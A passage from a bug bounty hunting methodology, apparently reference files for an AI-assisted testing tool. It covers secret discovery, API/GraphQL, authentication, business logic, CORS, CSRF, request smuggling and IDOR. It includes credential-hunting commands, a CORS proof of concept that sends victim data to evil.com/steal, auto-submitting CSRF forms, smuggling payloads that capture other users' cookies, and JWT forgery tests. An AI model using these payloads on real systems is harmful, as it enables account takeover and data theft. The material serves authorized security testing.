grep -rn -i "api_key\|apikey\|api-key\|secret_key\|secretkey\|access_key\|accesskey" --include="*.js" --include="*.py" --include="*.php" --include="*.java" --include="*.rb" --include="*.go"

# AWS access keys (format: AKIA + 16 alphanumeric chars)
grep -rn "AKIA[A-Z0-9]\{16\}"

# Passwords in config
grep -rn -i "password\s*=\s*['\"][^'\"]\{6,\}" --include="*.js" --include="*.py" --include="*.php"

# .env files (even if gitignored, may exist locally)
cat .env .env.local .env.development .env.production 2>/dev/null

# Check git history for accidentally committed secrets
git log --all --full-history -- .env
git show HEAD:.env 2>/dev/null
```

**Also check:**
- `config/*.json`, `config/*.yaml`, `config/*.yml` — often contain credentials
- `appsettings.json` (.NET) — connection strings
- `application.properties` / `application.yml` (Spring Boot) — DB passwords, secrets
- Docker files: `ENV` directives with hardcoded values

---

## Step 5 — Dependency Vulnerability Scanning

Suggest the user run these to find known CVEs in dependencies:

| Language | Command |
|---|---|
| Node.js | `npm audit` or `npx better-npm-audit audit` |
| Python | `pip-audit` or `safety check -r requirements.txt` |
| Ruby | `bundle exec bundle-audit check --update` |
| Java (Maven) | `mvn dependency-check:check` |
| PHP | `composer audit` |
| Go | `govulncheck ./...` |

A HIGH/CRITICAL CVE in a dependency that is actually reachable via user input = reportable bug. Confirm exploitability before reporting.

---

## Step 6 — Authentication and Authorization Code Review

Manually read these files — authorization flaws are almost never detectable by grep alone:

1. **Middleware / auth guards** — does every route that requires auth actually have the guard attached?
2. **JWT validation** — is the signature actually verified? Is `alg` header accepted from client?
3. **Password reset logic** — is the token cryptographically random? Time-limited? Single-use?
4. **IDOR in ORM queries** — is `user_id` always filtered by the current session user?
5. **Role checks** — is the role checked server-side or only client-side?

```bash
# Find all places where user ID is used in queries
grep -rn "user_id\|userId\|owner_id\|account_id" --include="*.js" --include="*.py"

# Find JWT usage
grep -rn "jwt\|jsonwebtoken\|PyJWT" --include="*.js" --include="*.py" -l

# Find auth middleware
grep -rn "authenticate\|authorize\|requireAuth\|login_required\|@login_required" --include="*.js" --include="*.py" --include="*.rb"
```

---

## Step 7 — Link Source Code Findings to a Report

A source code finding report needs:
1. **File path + line number** (e.g., `src/controllers/userController.js:142`)
2. **Vulnerable code snippet** (show the exact lines — redact credentials if any)
3. **Exploitation path** — which user-controlled HTTP parameter reaches the sink
4. **Black-box PoC** (if possible — shows it's exploitable in production, not just theoretical)
5. **Impact** — what an attacker can achieve

> **Tip:** Pair every code finding with a black-box PoC request if the app is also running locally or accessible. "Confirmed via source code review AND live PoC" → rated higher than code-only findings.

---

## Semgrep — Automated Pattern Scanning

For broad coverage, suggest the user run Semgrep (free, open source):

```bash
# Install
pip install semgrep

# Run OWASP Top 10 rules on the repo
semgrep --config=p/owasp-top-ten .

# Run language-specific security rules
semgrep --config=p/javascript . 
semgrep --config=p/python .
semgrep --config=p/java .
semgrep --config=p/php .

# Run all security rules
semgrep --config=p/security-audit .
```

Semgrep findings should be **verified manually** — they have false positives. A confirmed Semgrep finding with a working PoC is reportable.


path: references/vulnerabilities/api-graphql.md
content: # API & GraphQL — Hunting Methodology

## REST API Specific Testing

### Finding Hidden Endpoints

REST APIs often expose more than their docs reveal:

**Discovery techniques (suggest to user):**
- JS bundle mining: `grep -r 'api/' bundled.js` — extract all `/api/` paths
- Common wordlists: `ffuf -u https://target.com/api/FUZZ -w api_wordlist.txt`
- Swagger/OpenAPI: try `/api/swagger.json`, `/api/openapi.yaml`, `/v1/docs`, `/api-docs`
- Nginx/Apache misconfig: `/api/`, `/v1/`, `/v2/`, `/internal/` — try all version prefixes
- Mobile app APK decompile: `apktool d app.apk` → grep strings for endpoints
- Wayback Machine: `https://web.archive.org/cdx/search/cdx?url=target.com/api/*`

**Versioning bypass:**
- API has `/v2/users` but also still serves `/v1/users` with old (less-protected) logic
- Try `/v0/`, `/beta/`, `/internal/`, `/admin/` prefixes alongside versioned endpoints

---

### Broken Object Level Authorization (BOLA / IDOR in APIs)

The most common and highest-impact REST API vulnerability. See also `references/vulnerabilities/idor.md`.

**API-specific BOLA targets:**
```
GET  /api/v1/users/{user_id}          → change user_id to another
GET  /api/v1/orders/{order_id}        → access another user's order
GET  /api/v1/invoices/{invoice_id}    → financial data of other users
PUT  /api/v1/users/{user_id}/email    → update another user's email
DEL  /api/v1/posts/{post_id}          → delete another user's post
GET  /api/v1/admin/users              → unauthenticated admin endpoint
```

**Testing pattern:**
1. Account A: make request, note resource ID
2. Account B: replay same request with Account A's ID
3. No ownership check → BOLA confirmed

---

### Broken Function Level Authorization (BFLA)

Accessing admin/privileged API functions as a regular user:

**Common targets:**
```
POST /api/v1/admin/users            → create user as non-admin
DELETE /api/v1/admin/users/{id}     → delete users
GET /api/v1/admin/audit-logs        → access audit logs
PUT /api/v1/users/{id}/role         → change someone's role
POST /api/v1/admin/impersonate      → impersonate another user
```

**Testing:** Make admin-level API calls with a regular user JWT. If they succeed → BFLA = **High/Critical**.

---

### Mass Assignment

API accepts additional fields in PUT/PATCH that modify privileged properties:

```json
// Intended request
PATCH /api/v1/profile
{"displayName": "Alice"}

// Attack — add privileged fields
PATCH /api/v1/profile
{"displayName": "Alice", "role": "admin", "isVerified": true, "creditBalance": 9999}
```

**If server accepts extra fields → mass assignment confirmed.** Check if role/permission/balance actually changes.

---

### API Key & Token Exposure

**Common locations to check:**
- JS bundles: `grep -r 'api_key\|apiKey\|Authorization\|Bearer\|secret\|token' app.js`
- Response headers: `X-API-Key`, `Authorization` in responses (should never be echoed)
- Error messages: stack traces may leak keys/tokens
- Git history: `git log --all -p | grep -i 'api_key\|secret'`
- `.env` accessible: `https://target.com/.env` — sometimes publicly accessible
- Swagger UI: parameters pre-filled with real tokens

---

### Rate Limiting & Quota Bypass

If an endpoint has per-user rate limits:

- Rotate IPs via headers: `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP`
- Rotate API keys (if multiple accounts)
- Use different subdomain endpoints (same API, different host rule)
- Change HTTP method: POST vs GET on same endpoint

---

## GraphQL Specific Testing

### Introspection — First Step Always

**Always try introspection to map the full schema:**
```graphql
{ __schema { types { name fields { name type { name } } } } }
```

If introspection is disabled in production, try:
- `{ __type(name: "User") { fields { name type { name } } } }`  (single type query)
- `{ __schema { queryType { name } } }` (minimal check)
- Introspection via POST with `content-type: application/json` when GET is blocked
- `IntrospectionQuery` via Altair/GraphiQL playgrounds if exposed at `/graphql`

Tools to suggest: **InQL** (Burp extension), **graphql-voyager**, **clairvoyance** (wordlist-based blind introspection)

---

### GraphQL IDOR / Authorization Issues

GraphQL resolvers often miss authorization checks:

```graphql
# Should only return current user's data — does it enforce this?
{ user(id: "ANOTHER_USER_ID") { email phone creditCard } }

# Mutation that should require ownership
mutation { deletePost(id: "OTHER_USER_POST_ID") { success } }

# Admin-only query accessible to regular users
{ adminDashboard { totalRevenue userList { email } } }
```

**Testing:** Run queries with another user's IDs using your token. Check if resolver validates ownership.

---

### GraphQL Batching Attacks

GraphQL allows batching multiple operations in one request — useful to bypass rate limits:

```json
[
  {"query": "mutation { login(email: \"[REDACTED_SECRET]\", password: \"password1\") { token } }"},
  {"query": "mutation { login(email: \"[REDACTED_SECRET]\", password: \"password2\") { token } }"},
  ...1000 more...
]
```

If rate limiting is per-HTTP-request (not per-operation) → effectively bypasses brute force protection.

Also useful for CSRF-less state changes in bulk.

---

### GraphQL Query Depth / Complexity DoS

Some GraphQL APIs have no depth limit:

```graphql
{ user { friends { friends { friends { friends { friends { id email } } } } } } }
```

Deeply nested queries can cause exponential server load. **Reportable if it causes measurable service degradation.** Not reportable as a theoretical concern alone.

---

### GraphQL Mutations — Business Logic

Check all mutations for:
- **Missing auth on state-changing mutations** (password change, email update, order placement)
- **IDOR in mutations**: `deleteUser(id: "OTHER_ID")`, `updateProfile(userId: "OTHER_ID", ...)`
- **Race conditions**: Send same mutation 50x in parallel — double-spend, duplicate orders
- **Type confusion**: Send unexpected types for arguments (array where string expected)

---

### Aliases — WAF/Rate Limit Bypass

GraphQL aliases let you call the same field multiple times under different names:

```graphql
{
  res1: user(id: "1") { email }
  res2: user(id: "2") { email }
  res3: user(id: "3") { email }
  ...
}
```

One HTTP request → 100 user records → rate limit effectively bypassed.

---

### GraphQL Injection

If GraphQL variables are interpolated into strings server-side:

```graphql
mutation {
  search(term: "a\") { __typename }") {
    results
  }
}
```

Test for SQLi, NoSQLi, and SSTI through GraphQL variable fields, especially in search, filter, and sort arguments.

---

## Impact Classification

| API/GraphQL Finding | Severity |
|---|---|
| BOLA — any user's sensitive data | High |
| BFLA — admin functions accessible by users | High/Critical |
| Mass assignment → role escalation | Critical |
| GraphQL — admin query accessible | High/Critical |
| Introspection enabled (alone) | Low/Informational |
| GraphQL batching → auth bypass | High |
| API key exposure in JS bundle | Medium/High |
| Unauthenticated endpoint with sensitive data | High |
| Rate limit bypass (no sensitive endpoint) | Low |

## Do Not Report
- Introspection enabled in isolation (informational only — no direct impact)
- GraphQL field suggestions (`Did you mean X?`) without proved exploitation
- Theoretical DoS without measurable server degradation
- API versioning differences without confirmed security regression


path: references/vulnerabilities/auth-bypass.md
content: # Authentication & Authorization Bypass — Hunting Methodology

## Attack Surface Coverage

| Category | Examples |
|---|---|
| JWT vulnerabilities | `alg: none`, weak secret, `kid` injection |
| OAuth misconfigurations | State param bypass, redirect_uri manipulation, token leakage |
| Session security | Session fixation, predictable tokens, missing invalidation |
| Password mechanisms | Reset token predictability, token reuse, race conditions |
| MFA bypass | Code reuse, response manipulation, rate limit bypass |
| Privilege escalation | Role parameter manipulation, JWT claim forgery |

## JWT Hunting

**Inspect any JWT (header.payload.signature):**

Decode with: `echo "PAYLOAD" | base64 -d`

**Test 1 — Algorithm None:**
Change header to `{"alg":"none","typ":"JWT"}`, remove signature
If accepted → Critical auth bypass

**Test 2 — HS256 with Weak Secret:**
Try common secrets with `hashcat -a 0 -m 16500 <jwt> /path/to/wordlist`
If cracked → can forge any payload

**Test 3 — RS256 to HS256 Downgrade:**
Change `alg` from `RS256` to `HS256`, sign with the public key as HMAC secret
If accepted → auth bypass (server thinks it's HMAC, signs with the public key)

**Test 4 — `kid` Header Injection:**
`"kid": "../../dev/null"` or `"kid": "' UNION SELECT 'attacker-secret'--"`
If server uses `kid` to fetch signing key from DB/filesystem unsafely → SQLi or file path injection

**Test 5 — Sensitive Claims to Modify (are they verified):**
- `"role": "admin"` → try escalating role claim
- `"user_id": 1` → try changing to other user ID
- `"scope": "admin:*"` → try expanding scopes

## OAuth Hunting

**Test 1 — State Parameter:**
Remove `state` param or reuse state across requests
If CSRF protection via state is absent → OAuth CSRF possible

**Test 2 — redirect_uri Manipulation:**
Original: `redirect_uri=https://app.com/callback`
Try: `redirect_uri=https://attacker.com`
Try: `redirect_uri=https://app.com.attacker.com`
Try: `redirect_uri=https://app.com/callback/../../../attacker.com`
If accepted → authorization code leaks to attacker

**Test 3 — Token Leakage via Referrer:**
Check if access token appears in URL parameters and is sent in Referer header to third-party scripts

**Test 4 — Response Type Confusion:**
`response_type=token` instead of `response_type=code`
If implicit grant is enabled and not expected → token returned directly in URL

## Password Reset Hunting

**Test 1 — Token Reuse:**
Request reset, use token, request new token
Try using the first token again → if it still works → no invalidation

**Test 2 — Host Header Injection:**
Add `Host: attacker.com` or `X-Forwarded-Host: attacker.com` to reset request
If reset email uses Host header to construct link → token sent to attacker-controlled URL

**Test 3 — Race Condition:**
Request password reset rapidly in parallel threads
Check if multiple valid tokens are generated for the same timestamp

**Test 4 — Predictable Tokens:**
Observe multiple reset tokens, check for sequential or time-based patterns
PRNG-based tokens without cryptographic randomness

## Session Security

**Session Fixation:**
1. Get session ID without logging in
2. Provide session ID to victim (craft link)
3. Victim logs in with this session ID
4. Session ID remains valid → attacker inherits authenticated session

**Missing Post-Logout Invalidation:**
1. Log in, capture session token
2. Log out
3. Replay session token — if app still accepts it → not invalidated server-side

## MFA Bypass

**Response Manipulation:**
Send wrong OTP, intercept response showing `{"verified": false}`, change to `{"verified": true}`
If app proceeds → MFA bypassed client-side

**Code Reuse:**
Use same OTP code twice — if second use succeeds → no replay protection

**Rate Limit Bypass:**
Try OTP brute force with different IP headers: `X-Forwarded-For`, `X-Real-IP`, `CF-Connecting-IP`

## Impact Classification

| Auth Bypass Type | Severity |
|---|---|
| Unauthenticated → any admin account | Critical |
| JWT forgery to escalate role | Critical |
| Unauthenticated user data access via reset token | High |
| OAuth code/token theft → ATO | High |
| MFA bypass on high-value account | High |
| Session fixation (requires victim interaction) | Medium |
| Recovery code leakage (non-current) | Medium |


path: references/vulnerabilities/biz-logic.md
content: # Business Logic — Hunting Methodology

Business logic vulnerabilities abuse the application's intended functionality in ways developers didn't anticipate. They require understanding the business workflow, not just payloads.

## High-Value Business Logic Areas

| Area | What to Test |
|---|---|
| Pricing / Checkout | Price manipulation, negative quantities, coupon stacking |
| Workflow enforcement | Skipping required steps in multi-step flows |
| Race conditions | Double-spend, duplicate account creation, coupon reuse |
| Limit bypass | Rate limits, API quotas, subscription tier bypasses |
| Referral/reward abuse | Self-referral, circular referrals, credit multiplication |
| Account actions | Mass account creation, email enumeration, permission abuse |

## Price / Checkout Manipulation

**Test 1 — Negative Quantity:**
`{"quantity": -1, "item_id": "ABC"}` in cart API
If server calculates `price * quantity` and doesn't validate → negative total

**Test 2 — Price Parameter Tampering:**
Intercept cart update request, change `price` field directly
If server trusts client-provided price → price set to $0.01

**Test 3 — Integer Overflow:**
Very large quantities may overflow to negative numbers
`"quantity": 9999999999`

**Test 4 — Coupon Stacking:**
Apply same coupon code multiple times in one order
Apply multiple single-use coupons in parallel (race)

**Test 5 — Free Items:**
Remove specific items from order after discount applies
Add/remove items to make total < 0 or free

## Workflow / Step Bypass

Multi-step processes (checkout, KYC, email verification, quiz):
1. Start the flow, intercept state token at step 1
2. Jump directly to the final step endpoint with state token from step 1
3. Does the server enforce sequential completion?

**Also check:**
- Can you place an order without completing payment?
- Can you access premium content before subscription confirmed?
- Can you skip identity verification?
- Can you change email without confirming old email?

## Race Conditions

**Target:** Any operation that should only succeed once but might be exploitable via parallel requests.

*Common targets:*
- One-time coupon codes
- Free trial activation (one per account/email)
- Limited quantity items
- Currency transfers
- Referral bonus credit

**Exploitation method (suggest to user):**
Send 20-50 identical requests simultaneously using tools like `turbo intruder` or `ffuf` with `--rate 0` and parallel connections.

If server doesn't use database-level locking:
- Multiple successful redemptions of single-use coupon → free credits
- Double credit on transfer → duplication

**Confirm with two accounts:** Apply coupon in parallel from both → check if both receive discount.

## Tier / Subscription Bypass

- Sign up for free tier, explore what API endpoints are called for paid features
- Call paid-feature API endpoints directly with free-tier token
- Check if server enforces tier via JWT claim that can be modified (see auth-bypass.md)
- Downgrade account after accessing paid content — confirm content access is revoked

## Referral / Reward Abuse

- Self-referral: use your own referral link to sign up with secondary email
- Circular: A refers B, B refers A → infinite loop
- Apply referral after purchase (timing bypass)
- Referral credit without full signup completion by referred user

## Limit Bypass Techniques

If per-account limits exist, test:
- Same action with different user accounts (is limit per-user or per-session?)
- Same action with different IPs (`X-Forwarded-For` header rotation)
- Resetting count by deleting and re-creating items
- Parallel requests before server updates count

## Impact Classification

| Business Logic Bug | Severity |
|---|---|
| Price manipulation → free/negative price | High/Critical |
| Race condition on payment → double credit | High |
| Workflow bypass → access without payment | High |
| Coupon reuse / stacking | Medium/High |
| Tier bypass → premium content free | Medium/High |
| Self-referral Credit Abuse | Medium |
| Rate limit bypass (without exploitable action) | Low |

## Reportability Criteria

Business logic bugs MUST demonstrate:
1. Concrete financial or data loss beyond theoretical
2. Working reproduction (exact requests showing unexpected outcome)
3. The application's intended behavior (what SHOULD happen) vs what DOES happen
4. Not just a UX inconvenience — actual security/business impact


path: references/vulnerabilities/cors.md
content: # CORS Misconfiguration — Hunting Methodology

## What Is CORS

Cross-Origin Resource Sharing (CORS) controls which origins can read responses from another origin. A misconfigured CORS policy on an authenticated API allows an attacker's website to make credentialed requests on behalf of a logged-in victim and **read the response** — bypassing the Same-Origin Policy.

> **Key distinction from CSRF:** CSRF sends requests without reading the response. CORS misconfig allows the attacker to **READ sensitive response data**.

---

## Finding CORS Entry Points

Every authenticated API endpoint is a potential CORS target. Priority targets:
- `/api/user/profile` — PII exfiltration
- `/api/account/settings` — email, phone, payment info
- `/api/admin/*` — admin-level data
- `/api/tokens` or `/api/keys` — API keys, session tokens
- Any endpoint returning sensitive JSON

---

## Detection: Test Origin Reflection

**Step 1 — Send an arbitrary Origin header and check if it's reflected:**

```http
GET /api/v1/user/profile HTTP/1.1
Host: target.com
Origin: https://evil.com
Cookie: session=<valid_session>
```

**Vulnerable response:**
```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```

→ **Both headers together = Critical CORS misconfiguration.** Attacker can read response from evil.com with victim's credentials.

**Step 2 — Test `null` origin (sandbox iframes):**
```http
Origin: null
```
If response includes `Access-Control-Allow-Origin: null` + `Access-Control-Allow-Credentials: true` → exploitable via sandboxed iframe.

**Step 3 — Test subdomain confusion:**
```http
Origin: https://evil.target.com
Origin: https://target.com.evil.com
Origin: https://notreallytarget.com
```
Check if the wildcard check is done incorrectly (e.g., `endsWith('target.com')` without anchoring).

---

## CORS Misconfiguration Patterns

| Pattern | Exploitable? |
|---|---|
| `ACAO: *` (wildcard) | ❌ NOT exploitable — credentials not sent with wildcard |
| `ACAO: https://evil.com` + `ACAC: true` | ✅ **Critical** — full credential read |
| `ACAO: null` + `ACAC: true` | ✅ **High** — via sandboxed iframe |
| `ACAO: https://evil.target.com` + `ACAC: true` | ✅ **High** — if attacker controls subdomain |
| `ACAO: *` without `ACAC` | ❌ Only useful for unauthenticated data |
| Origin not reflected, fixed trusted list | ❌ Not exploitable |
| `ACAO: https://trusted.com` (fixed, not reflected) | ❌ Not exploitable unless you control trusted.com |

---

## Exploit Proof of Concept

For a confirmed `ACAO: evil.com` + `ACAC: true`, provide this PoC HTML:

```html
<html>
<body>
<script>
fetch('https://target.com/api/v1/user/profile', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  fetch('https://evil.com/steal?d=' + JSON.stringify(data));
});
</script>
</body>
</html>
```

**Victim visits evil.com → their profile data (email, PII, API keys) is sent to attacker.**

For `null` origin exploit:
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://target.com/api/v1/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => top.postMessage(JSON.stringify(d), '*'))
</script>"></iframe>
<script>
window.addEventListener('message', e => {
  fetch('https://evil.com/steal?d=' + e.data);
});
</script>
```

---

## Subdomain Takeover + CORS Chain

If `ACAO` trusts `*.target.com` and you can take over `external.target.com` (subdomain takeover), these two bugs chain into a Critical finding. Document both bugs and the chain explicitly in the report.

---

## Impact Classification

| Scenario | Severity |
|---|---|
| Origin reflected + `ACAC: true` on auth'd sensitive API | Critical/High |
| `null` origin + `ACAC: true` | High |
| Subdomain domain confusion + `ACAC: true` | High |
| Wildcard `*` on authenticated endpoints (no ACAC) | Low/Informational |
| Wildcard `*` on public, unauthenticated data | Not reportable |

---

## Do Not Report
- `Access-Control-Allow-Origin: *` without `Access-Control-Allow-Credentials: true` — not exploitable for credential theft
- CORS on endpoints that only return public, non-sensitive data
- CORS configuration considered a "best practice" issue without a concrete exploitable scenario


path: references/vulnerabilities/csrf.md
content: # CSRF — Cross-Site Request Forgery Hunting Methodology

## The Critical Distinction

> **Do NOT report CSRF on:** login, logout, search, or any action where the attacker gains nothing meaningful.  
> **DO report CSRF on:** state-changing actions where the attacker benefits directly from forcing a victim to perform.

Most programs explicitly exclude CSRF on login/logout. This file covers **when CSRF IS reportable**.

---

## When CSRF Is Reportable

CSRF is reportable when ALL of these are true:
1. **State changes** — the action modifies data or performs a transaction
2. **No CSRF protection** — no token, no `SameSite=Strict/Lax` cookie, no `Origin` check
3. **Attacker benefit** — the attacker directly gains from the victim performing this action
4. **Victim is authenticated** — requires a logged-in victim

**High-value CSRF targets:**
- Change email address → attacker takes over account
- Change password → direct account takeover
- Change mobile/2FA phone → bypass MFA
- Add SSH key / OAuth app → persistent access
- Money transfer / payment initiation → financial impact
- Add admin user → privilege escalation
- Delete account / critical data → destructive
- Change security settings (disable MFA, change recovery email)

---

## CSRF Protection Check

Test each target endpoint for missing protections:

**Check 1 — No CSRF token in request:**
Remove any `csrf_token`, `_token`, `authenticity_token` parameter from the request.
→ If the action still succeeds → CSRF token not validated

**Check 2 — SameSite cookie attribute:**
```
Set-Cookie: session=abc123; SameSite=Strict  → CSRF blocked by browser
Set-Cookie: session=abc123; SameSite=Lax     → CSRF blocked for POST (but not GET with navigation)
Set-Cookie: session=abc123                    → No SameSite → CSRF possible (older browsers)
Set-Cookie: session=abc123; SameSite=None; Secure → Cross-origin allowed → CSRF possible
```

**Check 3 — Origin / Referer header check:**
Send request with:
- `Origin: https://evil.com` → if rejected → server checks origin
- Remove `Referer` header entirely → if still works → no referer check

**Check 4 — Custom header requirement:**
Some APIs require `X-Requested-With: XMLHttpRequest` or `Content-Type: application/json` — these are NOT CSRF protections (JavaScript can set them cross-origin in some cases using CORS misconfig).

---

## Generating a CSRF PoC

**Standard HTML form PoC (for `application/x-www-form-urlencoded`):**
```html
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/account/email">
  <input type="hidden" name="email" value="[REDACTED_SECRET]"/>
  <input type="hidden" name="confirm_email" value="[REDACTED_SECRET]"/>
</form>
</body>
</html>
```

**For JSON body CSRF (only works if `Content-Type: application/json` is not strictly required):**
```html
<form method="POST" action="https://target.com/api/account/email" enctype="text/plain">
  <input name='{"email":"[REDACTED_SECRET]","x":"' value='"}'>
</form>
```
This sends `Content-Type: text/plain` with body `{"email":"[REDACTED_SECRET]","x":""}` — if server parses it as JSON → CSRF with JSON body.

**For PUT/PATCH CSRF via form method override:**
Some frameworks support `_method=PATCH` in POST forms — test if the endpoint accepts this.

---

## CSRF + Low Impact = Not Reportable

CSRF is often downgraded or rejected for:
- **Actions requiring knowledge the attacker doesn't have** (e.g., CSRF to delete post by ID when attacker can't know the ID)
- **Actions the attacker could perform without victim** (e.g., CSRF to follow a public user)
- **Low-scale impact** (e.g., change display language)
- **Email confirmation required** for sensitive changes — defends against CSRF
- **Re-authentication required** for sensitive changes (password confirmation)

---

## CSRF Token Bypass Techniques

If a CSRF token exists, test these bypasses before giving up:

| Bypass | Description |
|---|---|
| Remove token entirely | Server may not validate if parameter is absent |
| Use another user's token | Tokens may not be tied to the session |
| Use an old/expired token | Server may not expire tokens |
| Change method (POST → GET) | CSRF token may only be checked on POST |
| Change `Content-Type` | Form data vs JSON may skip token check |
| Null/empty token | `csrf_token=` or `csrf_token=null` |

---

## Impact Classification

| CSRF Target | Severity |
|---|---|
| Change email/password → ATO | High |
| Add admin user / change role | High/Critical |
| Money transfer / payment | High/Critical |
| Change 2FA settings | High |
| Add OAuth app / SSH key | High |
| Delete account / important data | Medium/High |
| Change profile preferences | Low / Not reportable |
| Logout | Not reportable (explicitly excluded by most programs) |

---

## Do Not Report
- CSRF on login (no authenticated session to abuse)
- CSRF on logout (no attacker benefit)
- CSRF on search / read-only actions
- CSRF on endpoints protected by `SameSite=Strict` on the session cookie
- CSRF where re-authentication is required to complete the action
- CSRF on public actions with no authenticated state change


path: references/vulnerabilities/http-smuggling.md
content: # HTTP Request Smuggling — Hunting Methodology

## What Is HTTP Request Smuggling

When a front-end server (load balancer, WAF, CDN) and back-end server disagree on where one HTTP request ends and the next begins, an attacker can "smuggle" a hidden second request that is processed by the back-end as if it came from another user.

**Root cause:** Ambiguity in how `Content-Length` (CL) and `Transfer-Encoding` (TE) headers are prioritized by different servers.

---

## The Two Main Types

### CL.TE — Front-end uses Content-Length, Back-end uses Transfer-Encoding

Front-end reads body length from `Content-Length`, forwards full body to back-end. Back-end reads `Transfer-Encoding: chunked` and stops at `0\r\n\r\n`, leaving leftover bytes in the back-end's buffer as the start of the "next" request.

### TE.CL — Front-end uses Transfer-Encoding, Back-end uses Content-Length

Front-end reads chunked body and stops at `0`, but back-end reads `Content-Length` and expects more data. Front-end passes a short body, back-end waits for more — then another request's bytes arrive and get prepended.

### TE.TE — Both support TE, but one can be confused

Send an obfuscated `Transfer-Encoding` header that one server ignores:
```
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: identity
```

---

## Detection

**Step 1 — Timing-based probe (CL.TE):**
```http
POST / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
A
X
```
If the request hangs for 10+ seconds → back-end is waiting for the chunk terminator → **CL.TE confirmed**.

**Step 2 — Timing-based probe (TE.CL):**
```http
POST / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

X
```
If request hangs → front-end sent the whole thing but back-end is waiting for CL bytes → **TE.CL confirmed**.

**Tool to suggest:** [Burp Suite HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler) — automates detection and PoC generation.

> Always disable "Update Content-Length" in Burp Repeater when testing smuggling. Work in HTTP/1.1 only.

---

## Exploitation Techniques

### 1. Bypassing Front-End Access Controls

WAF/reverse proxy blocks `GET /admin`. Smuggle a request to `/admin` so the back-end processes it as a legitimate next request:

**CL.TE example:**
```http
POST / HTTP/1.1
Host: target.com
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: bar
```

The front-end sees a complete POST. The back-end sees the POST ending at `0` and then processes `GET /admin HTTP/1.1` as a new request from an internal source.

### 2. Capturing Other Users' Requests

Smuggle a partial request that causes the NEXT real user's request bytes to be appended to a controlled body. This effectively lets you read other users' cookies, auth tokens, and POST data.

**CL.TE capture attack:**
```http
POST / HTTP/1.1
Content-Length: 200
Transfer-Encoding: chunked

0

POST /store-comment HTTP/1.1
Host: target.com
Content-Length: 500

comment=
```
When next user's request arrives, it gets appended to `comment=` → their request headers (including cookies) are stored as a comment → attacker reads it.

### 3. Reflected XSS via Smuggling

If a back-end endpoint reflects input and there's a smuggling vulnerability, chain them:
```
Smuggled request → reflected endpoint → XSS without user interaction
```

### 4. Cache Poisoning via Smuggling

Poison a cached response with smuggled content:
1. Smuggle a request that gets a cacheable poisoned response
2. Next user requesting the same URL gets the poisoned response

---

## HTTP/2 Downgrade Smuggling

Modern infrastructure often uses HTTP/2 front-to-front but downgrades to HTTP/1.1 to the back-end. HTTP/2 doesn't have the TE ambiguity issue, but the downgrade reintroduces it. Test:

- `H2.CL` — HTTP/2 with a Content-Length header that causes confusion during downgrade
- `H2.TE` — HTTP/2 with a Transfer-Encoding header injected into the request

Burp's HTTP Request Smuggler handles H2 downgrade detection automatically.

---

## Impact Classification

| Scenario | Severity |
|---|---|
| Bypass front-end access control to reach admin | Critical |
| Capture other users' credentials/tokens | Critical |
| XSS without victim interaction via smuggling | High/Critical |
| Cache poisoning affecting all users | High/Critical |
| Confirmed smuggling with no exploitable backend behavior yet | Medium |
| Timing-based detection only (not confirmed exploitable) | Low/Medium |

## Evidence Requirements
- The exact request that demonstrates smuggling (with headers as-sent)
- Proof of impact: 403 → 200, captured victim cookie, or poisoned cache
- Response comparison showing the anomaly
- Note Burp extension used if applicable

## Do Not Report
- Smuggling on HTTP/2-only front-ends without downgrade (much harder)
- Timing anomalies without confirmed back-end behavior difference
- DE-SYNC issues on WebSockets without security impact


path: references/vulnerabilities/idor.md
content: # IDOR — Insecure Direct Object Reference Hunting Methodology

## Types to Hunt

| Type | Description |
|---|---|
| Horizontal IDOR | Access another user's data at same privilege level |
| Vertical IDOR | Access higher-privilege resources (user → admin) |
| Function-level IDOR | Call admin/restricted API functions as normal user |
| Indirect reference | Use predictable/guessable reference (sequential IDs, UUIDs) |

## Finding IDOR Entry Points

Look for any parameter that references a resource owned by a user:

- `?id=`, `?user_id=`, `?account_id=`, `?order_id=`, `?invoice_id=`
- Path parameters: `/api/users/123/profile`, `/orders/456/receipt`
- POST body: `{"target_user_id": 789}`
- GUIDs: even `?id=550e8400-e29b-41d4-a716-446655440000` may be IDOR if server doesn't verify ownership

**High-value targets to test:**
- User profile/settings endpoints (`/api/user/<id>`)
- Order/invoice/payment history (`/orders/<id>`)
- File download/export (`/export?report_id=<id>`)
- Message/notification retrieval (`/messages/<id>`)
- Admin APIs accessible from user JWT (check for unprotected `/api/admin/` endpoints)
- Password reset token usage (`/reset?[REDACTED_SECRET]`)

## Confirmation Approach — Two Account Test

The gold standard for IDOR confirmation:

1. Create **Account A** and **Account B**
2. From Account A, note the resource ID (order, profile, message, etc.)
3. Log into **Account B** (different session/token)
4. From Account B, attempt to access Account A's resource using Account A's ID
5. If successful → IDOR confirmed

Provide both the request from Account B AND the response showing Account A's data.

## Authorization Check Locations (what to look for in code)

Vulnerable pattern — missing authorization check:
```
// VULNERABLE: only checks auth, not ownership
app.get('/orders/:id', authenticate, (req, res) => {
  const order = Order.findById(req.params.id)  // No ownership check!
  res.json(order)
})
```

Secure pattern — proper authorization:
```
// SAFE: checks both auth and ownership
app.get('/orders/:id', authenticate, (req, res) => {
  const order = Order.findOne({ id: req.params.id, user_id: req.user.id })
  if (!order) return res.status(403).json({ error: 'Forbidden' })
  res.json(order)
})
```

## UUID/GUID IDORs

Do NOT assume UUIDs are safe from IDOR. The reference value being hard to guess does NOT mean authorization is enforced. Test:
1. Note your UUID resource reference
2. Share/leak the UUID (e.g., in a URL) and test if another user can access it
3. If yes → IDOR exists, even if UUID is not guessable

UUIDs prevent enumeration but do NOT enforce access control.

## Mass Assignment IDOR

Sending additional fields in a PUT/PATCH that shouldn't be user-modifiable:
